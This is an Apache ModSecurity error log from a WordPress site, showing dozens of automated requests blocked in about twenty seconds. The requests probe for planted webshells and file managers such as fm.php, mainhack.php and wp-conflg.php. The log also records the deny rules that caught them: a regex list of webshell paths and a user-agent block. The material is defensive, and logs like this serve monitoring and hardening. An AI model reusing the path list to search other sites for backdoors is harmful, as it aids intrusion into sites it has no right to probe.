[Wed Feb 04 00:37:40.422936 2026] [:error] [pid 28720:tid 28744] [client 85.203.21.152:56837] [client 85.203.21.152] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/junkfood/mainhack.php"] [unique_id "aYIkVGmRXm2bmr_sYiYLZwAAARY"]
[Wed Feb 04 00:37:40.720992 2026] [:error] [pid 28720:tid 28728] [client 85.203.21.118:36947] [client 85.203.21.118] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/x/wp-fm.php"] [unique_id "aYIkVGmRXm2bmr_sYiYLaAAAAQY"]
[Wed Feb 04 00:37:41.017786 2026] [:error] [pid 28720:tid 28729] [client 85.203.21.100:28013] [client 85.203.21.100] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/x/wp-classs-editor.php"] [unique_id "aYIkVWmRXm2bmr_sYiYLaQAAAQc"]
[Wed Feb 04 00:37:41.313185 2026] [:error] [pid 43028:tid 43034] [client 85.203.21.75:54065] [client 85.203.21.75] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/acucozo/file.php"] [unique_id "aYIkVVnHWnJD4cJC5DsEWwAAAMQ"]
[Wed Feb 04 00:37:41.613239 2026] [:error] [pid 42922:tid 43007] [client 85.203.21.118:48789] [client 85.203.21.118] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/sccrbel/index.php"] [unique_id "aYIkVWazX4WPS_dQRkjWxgAAAJY"]
[Wed Feb 04 00:37:41.910398 2026] [:error] [pid 42921:tid 42972] [client 85.203.21.110:20951] [client 85.203.21.110] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/tilnzqc/index.php"] [unique_id "aYIkVYblShffGl-01oe0mAAAAE4"]
[Wed Feb 04 00:37:42.205953 2026] [:error] [pid 42922:tid 42989] [client 85.203.21.85:56569] [client 85.203.21.85] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/akses.php"] [unique_id "aYIkVmazX4WPS_dQRkjWxwAAAIQ"]
[Wed Feb 04 00:37:42.503003 2026] [:error] [pid 43028:tid 43035] [client 85.203.21.100:60431] [client 85.203.21.100] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/radio.php"] [unique_id "aYIkVlnHWnJD4cJC5DsEXAAAAMU"]
[Wed Feb 04 00:37:42.797973 2026] [:error] [pid 43028:tid 43032] [client 85.203.21.93:36587] [client 85.203.21.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/ftde.php"] [unique_id "aYIkVlnHWnJD4cJC5DsEXgAAAMI"]
[Wed Feb 04 00:37:43.090454 2026] [:error] [pid 43028:tid 43030] [client 85.203.21.97:62029] [client 85.203.21.97] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/wp-blog.php"] [unique_id "aYIkV1nHWnJD4cJC5DsEXwAAAMA"]
[Wed Feb 04 00:37:43.386505 2026] [:error] [pid 43028:tid 43045] [client 85.203.21.101:61181] [client 85.203.21.101] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/bbpress/mainhack.php"] [unique_id "aYIkV1nHWnJD4cJC5DsEYAAAAM8"]
[Wed Feb 04 00:37:43.680225 2026] [:error] [pid 43028:tid 43049] [client 85.203.21.131:47989] [client 85.203.21.131] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentyfour/patterns/file.php"] [unique_id "aYIkV1nHWnJD4cJC5DsEYgAAANM"]
[Wed Feb 04 00:37:43.974889 2026] [:error] [pid 28720:tid 28723] [client 85.203.21.93:39517] [client 85.203.21.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentythree/locks.php"] [unique_id "aYIkV2mRXm2bmr_sYiYLawAAAQE"]
[Wed Feb 04 00:37:44.268353 2026] [:error] [pid 5229:tid 5244] [client 85.203.21.70:64219] [client 85.203.21.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentyfour/locks.php"] [unique_id "aYIkWEKmEgmJub93yUpJewAAAY0"]
[Wed Feb 04 00:37:44.565309 2026] [:error] [pid 43028:tid 43042] [client 85.203.21.98:59035] [client 85.203.21.98] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentynineteen/sass/mixins/scss.php"] [unique_id "aYIkWFnHWnJD4cJC5DsEZgAAAMw"]
[Wed Feb 04 00:37:44.859345 2026] [:error] [pid 5148:tid 5169] [client 85.203.21.76:48573] [client 85.203.21.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/news-portal/network.php"] [unique_id "aYIkWL83HCHLtUIbS7IpOQAAAVI"]
[Wed Feb 04 00:37:45.154956 2026] [:error] [pid 43028:tid 43040] [client 85.203.21.137:56121] [client 85.203.21.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "aYIkWVnHWnJD4cJC5DsEagAAAMo"]
[Wed Feb 04 00:37:45.450312 2026] [:error] [pid 42921:tid 42969] [client 85.203.21.101:51913] [client 85.203.21.101] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/asf.php"] [unique_id "aYIkWYblShffGl-01oe0mwAAAEs"]
[Wed Feb 04 00:37:45.743515 2026] [:error] [pid 43028:tid 43049] [client 85.203.21.138:63587] [client 85.203.21.138] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/sx.php"] [unique_id "aYIkWVnHWnJD4cJC5DsEbAAAANM"]
[Wed Feb 04 00:37:46.044816 2026] [:error] [pid 42922:tid 42995] [client 85.203.21.70:30521] [client 85.203.21.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-differ1.php"] [unique_id "aYIkWmazX4WPS_dQRkjWygAAAIo"]
[Wed Feb 04 00:37:46.339999 2026] [:error] [pid 43028:tid 43036] [client 85.203.21.141:61645] [client 85.203.21.141] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/revealability.php"] [unique_id "aYIkWlnHWnJD4cJC5DsEbwAAAMY"]
[Wed Feb 04 00:37:46.634171 2026] [:error] [pid 5229:tid 5250] [client 85.203.21.71:20807] [client 85.203.21.71] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/drive.php"] [unique_id "aYIkWkKmEgmJub93yUpJfQAAAZM"]
[Wed Feb 04 00:37:46.929361 2026] [:error] [pid 5229:tid 5233] [client 85.203.21.110:40257] [client 85.203.21.110] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/vFWbf/wp-conflg.php"] [unique_id "aYIkWkKmEgmJub93yUpJfgAAAYI"]
[Wed Feb 04 00:37:47.229456 2026] [:error] [pid 42922:tid 43007] [client 85.203.21.93:34855] [client 85.203.21.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/image/chosen.php"] [unique_id "aYIkW2azX4WPS_dQRkjWzAAAAJY"]
[Wed Feb 04 00:37:47.538846 2026] [:error] [pid 5148:tid 5162] [client 85.203.21.74:50269] [client 85.203.21.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/google-feed/pki-validation/index.php"] [unique_id "aYIkW783HCHLtUIbS7IpOwAAAUs"]
[Wed Feb 04 00:37:47.835946 2026] [:error] [pid 5229:tid 5249] [client 85.203.21.111:45483] [client 85.203.21.111] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/investor-relations/block-directory/index.php"] [unique_id "aYIkW0KmEgmJub93yUpJgQAAAZI"]
[Wed Feb 04 00:37:48.129904 2026] [:error] [pid 5148:tid 5163] [client 85.203.21.88:20119] [client 85.203.21.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/s/wp-content/plugins/file52.php"] [unique_id "aYIkXL83HCHLtUIbS7IpPAAAAUw"]
[Wed Feb 04 00:37:48.427982 2026] [:error] [pid 42922:tid 42989] [client 85.203.21.93:25693] [client 85.203.21.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/s/wp-content/uploads/rank-math/about.php"] [unique_id "aYIkXGazX4WPS_dQRkjWzwAAAIQ"]
[Wed Feb 04 00:37:48.725333 2026] [:error] [pid 5229:tid 5251] [client 85.203.21.112:61565] [client 85.203.21.112] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/s/wp-content/mu-plugins/ID3/index.php"] [unique_id "aYIkXEKmEgmJub93yUpJggAAAZQ"]
[Wed Feb 04 00:37:49.023134 2026] [:error] [pid 42921:tid 42958] [client 85.203.21.77:62305] [client 85.203.21.77] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/s/bk/wp-admin/includes/media1.php"] [unique_id "aYIkXYblShffGl-01oe0nwAAAEA"]
[Wed Feb 04 00:37:49.321805 2026] [:error] [pid 42921:tid 42966] [client 85.203.21.92:37473] [client 85.203.21.92] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/s/bk/wp-admin/network/about.php"] [unique_id "aYIkXYblShffGl-01oe0oQAAAEg"]
[Wed Feb 04 00:37:49.617910 2026] [:error] [pid 42922:tid 43002] [client 85.203.21.132:58467] [client 85.203.21.132] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/s/bk/wp-includes/fonts/maint/index.php"] [unique_id "aYIkXWazX4WPS_dQRkjW0AAAAJE"]
[Wed Feb 04 00:37:49.917619 2026] [:error] [pid 42921:tid 42978] [client 85.203.21.94:49637] [client 85.203.21.94] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/s/bk/wp-includes/PHPMailer/widgets/index.php"] [unique_id "aYIkXYblShffGl-01oe0owAAAFQ"]
[Wed Feb 04 00:37:50.211952 2026] [:error] [pid 42921:tid 42960] [client 85.203.21.77:39551] [client 85.203.21.77] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/s/wp-admin/network/icons/index.php"] [unique_id "aYIkXoblShffGl-01oe0pgAAAEI"]
[Wed Feb 04 00:37:52.055683 2026] [:error] [pid 5148:tid 5174] [client 85.203.21.118:26685] [client 85.203.21.118] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/s/wp-admin/user/colors/index.php"] [unique_id "aYIkYL83HCHLtUIbS7IpQgAAAVc"]
[Wed Feb 04 00:37:52.354847 2026] [:error] [pid 42921:tid 42963] [client 85.203.21.81:48885] [client 85.203.21.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/s/wp-content/litespeed/debug/maint/index.php"] [unique_id "aYIkYIblShffGl-01oe0qQAAAEU"]
[Wed Feb 04 00:37:52.652755 2026] [:error] [pid 5229:tid 5242] [client 85.203.21.87:36601] [client 85.203.21.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "aYIkYEKmEgmJub93yUpJgwAAAYs"]
[Wed Feb 04 00:37:52.945905 2026] [:error] [pid 5148:tid 5171] [client 85.203.21.99:38813] [client 85.203.21.99] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/comments/feed/index.php"] [unique_id "aYIkYL83HCHLtUIbS7IpRAAAAVQ"]
[Wed Feb 04 00:37:53.240995 2026] [:error] [pid 42920:tid 42953] [client 85.203.21.75:49509] [client 85.203.21.75] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/admin/uploads/fm.php"] [unique_id "aYIkYSix3YKltG4EU0m-cAAAABg"]
[Wed Feb 04 00:37:53.553586 2026] [:error] [pid 42921:tid 42977] [client 85.203.21.79:57405] [client 85.203.21.79] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aYIkYYblShffGl-01oe0qwAAAFM"]
[Wed Feb 04 00:37:53.850690 2026] [:error] [pid 42922:tid 42996] [client 85.203.21.130:42145] [client 85.203.21.130] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/webp-express/radio.php"] [unique_id "aYIkYWazX4WPS_dQRkjW2QAAAIs"]
[Wed Feb 04 00:37:54.144780 2026] [:error] [pid 42921:tid 42961] [client 85.203.21.88:65135] [client 85.203.21.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/webp-express/webp-images-bigger-than-source/providers/index.php"] [unique_id "aYIkYoblShffGl-01oe0rAAAAEM"]
[Wed Feb 04 00:37:54.435337 2026] [:error] [pid 42921:tid 42970] [client 85.203.21.105:45085] [client 85.203.21.105] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/settings/gfhfv.php"] [unique_id "aYIkYoblShffGl-01oe0rQAAAEw"]
[Wed Feb 04 00:37:54.767687 2026] [:error] [pid 28720:tid 28733] [client 85.203.21.119:47343] [client 85.203.21.119] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/drive.php"] [unique_id "aYIkYmmRXm2bmr_sYiYLcQAAAQs"]
[Wed Feb 04 00:37:55.062744 2026] [:error] [pid 42920:tid 42950] [client 85.203.21.109:57541] [client 85.203.21.109] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/ws29.php"] [unique_id "aYIkYyix3YKltG4EU0m-cgAAABU"]
[Wed Feb 04 00:37:55.360489 2026] [:error] [pid 5229:tid 5238] [client 85.203.21.130:42251] [client 85.203.21.130] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/v3.php"] [unique_id "aYIkY0KmEgmJub93yUpJhgAAAYc"]
[Wed Feb 04 00:37:55.653310 2026] [:error] [pid 5229:tid 5233] [client 85.203.21.85:54427] [client 85.203.21.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/autoload_classmap.php"] [unique_id "aYIkY0KmEgmJub93yUpJhwAAAYI"]
[Wed Feb 04 00:37:55.945267 2026] [:error] [pid 5148:tid 5156] [client 85.203.21.75:47571] [client 85.203.21.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/wp-conflg.php"] [unique_id "aYIkY783HCHLtUIbS7IpRwAAAUU"]
[Wed Feb 04 00:37:56.241650 2026] [:error] [pid 42921:tid 42960] [client 85.203.21.138:57105] [client 85.203.21.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/wp-conflg.php"] [unique_id "aYIkZIblShffGl-01oe0sQAAAEI"]
[Wed Feb 04 00:37:56.534926 2026] [:error] [pid 42922:tid 43004] [client 85.203.21.114:40505] [client 85.203.21.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aYIkZGazX4WPS_dQRkjW4gAAAJM"]
[Wed Feb 04 00:37:56.831363 2026] [:error] [pid 42922:tid 42988] [client 85.203.21.111:28031] [client 85.203.21.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/autoload_classmap.php"] [unique_id "aYIkZGazX4WPS_dQRkjW4wAAAIM"]
[Wed Feb 04 00:37:57.129491 2026] [:error] [pid 42920:tid 42944] [client 85.203.21.71:61719] [client 85.203.21.71] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/languages/autoload_classmap.php"] [unique_id "aYIkZSix3YKltG4EU0m-dAAAAA8"]
[Wed Feb 04 00:37:57.424431 2026] [:error] [pid 42922:tid 42991] [client 85.203.21.86:41187] [client 85.203.21.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aYIkZWazX4WPS_dQRkjW5QAAAIY"]
